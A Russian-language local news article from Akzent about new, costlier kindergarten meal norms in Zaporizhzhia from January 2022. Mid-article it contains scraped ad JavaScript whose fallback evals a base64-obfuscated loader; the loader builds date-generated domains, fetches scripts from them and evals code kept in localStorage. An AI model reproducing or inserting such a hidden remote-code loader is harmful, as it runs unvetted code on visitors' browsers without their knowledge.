Изменения связаны со вступлением новым норм питания, принятых Кабинетом министров в прошлом году.
В Запорожье с января 2022 года значительно изменилось меню для воспитанников детских садов и школ. Больше будут платить за питание своих детишек теперь и родители. На сколько изменится оплата и чем теперь будет кормить детей в детских садах Запорожья — в материале Акцента.
Напомним, в марте прошлого года Правительство утвердило новые нормы питания для детей в дошкольных учреждениях. Так, новое меню для детсадов теперь должно содержать больше овощей и фруктов, кроме того в нем не будет многих вредных продуктов (таких, как сосиски, например). Уменьшится количество сахара, в меню будет введена индюшатина, свинина.
В декабре прошлого года исполкомом Запорожского горсовета было принято решение с утверждением новой стоимости питания. Так, родители, как и ранее будут оплачивать 60% стоимости питания ребенка в сутки. Но сейчас эта сумма по сравнению с прошлым годом вырастет примерно на 30%.
Стоимость суточного питания ребенка, который посещает ясли, теперь составит в среднем 33,14 грн, детский сад — 43,80 грн (было около 33 грн — ред), детский сад круглосуточного пребывания — 51,80 грн. Более подробно вы можете ознакомиться ниже в документе:
Как рассказала Акценту директор одного из детских садов Запорожья, повара уже работают по новому меню. Однако сложностей доставляет традиционная проблема с поставками продуктов в январе — не все тендеры еще проведены. Поставки идут с перебоями, и многих продуктов питания пока нет в наличии. В частности сады еще не получали замороженных ягод и овощей, из которых должны например делать мексиканское соте. Нет включенной в список и индюшатины. Однако, некоторые изменения уже вступили в силу — детишкам, например, теперь не дают черный чай и кофейный напиток, а в узвары и компоты не кладут сахар. С добавлением сахара остались запеканки, сырники. Убрали из меню печень. Полностью перейти на новое меню, учитывая объективные проблемы с поставками продуктов в начале января, в детских садах рассчитывают в феврале. К слову, на сайтах многих детских садов уже публикуют 4-х недельные примерные меню. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
пример меню в начале января в одном из детских садов Запорожья
По итогам января исходя из фактического количества израсходованных продуктов, стоимость питания на одного ребенка может быть пересчитана, уточняет руководитель детского сада. Разницу родители увидят уже в расчетах стоимости питания на следующий месяц.
Кроме того директор учреждения коснулась и другой проблемы — работы у поваров будет теперь больше, необходимо и дополнительное оборудование и кухонные принадлежности в детские сады.
«Теперь нам должны поставлять замороженные овощи и ягоды. Однако для их хранения нам нужны дополнительные морозильные камеры. В нашем саду, да и в большинстве других, их в нужном объеме нет. Либо же поставщики должны будут привозить нам ягоды и овощи несколько раз в неделю. Как будет — посмотрим. По новым нормам, больше работы будет у поваров — в меню включены совсем другие блюда, которые требуют более длительного времени готовки и дополнительных кухонных принадлежностей и оборудования. В бюджете на эти цели средств не предусмотрели пока что», — делится с нами ситуацией директор.
Акцент будет следить за тем, как меняется питание в учебных учреждениях Запорожья. После выхода с зимних каникул школьников, мы расскажем, что изменилось в питании и в школах. (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/v-zaporozhe-s-1-yanvarya-na-50-vyrosla-stoimost-pitaniya-v-detskih-sadah/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
